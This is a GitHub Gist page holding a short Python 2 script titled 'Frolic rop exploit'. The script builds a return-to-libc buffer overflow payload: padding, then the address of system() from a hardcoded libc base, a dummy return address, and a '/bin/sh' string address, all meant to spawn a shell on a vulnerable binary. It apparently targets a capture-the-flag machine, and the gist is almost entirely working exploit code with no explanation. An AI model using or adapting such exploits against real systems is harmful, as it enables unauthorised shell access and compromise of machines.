Created
January 14, 2019 16:58
-
-
Save cedriczirtacic/0b09831306ea18ef5963713a994d7086 to your computer and use it in GitHub Desktop.
Frolic rop exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from struct import pack | |
def little(x): | |
return pack('<I', x) | |
buf_len = 52 | |
libc_addr = 0xb7e19000 | |
system_off = 0x0003ada0 | |
trash_ret = little(0xdeadbeef) | |
binsh_str_off = 0x15ba0b | |
def main(): | |
buf = "A" * buf_len | |
buf += little(libc_addr + system_off) | |
buf += trash_ret | |
buf += little(libc_addr + binsh_str_off) | |
print buf | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment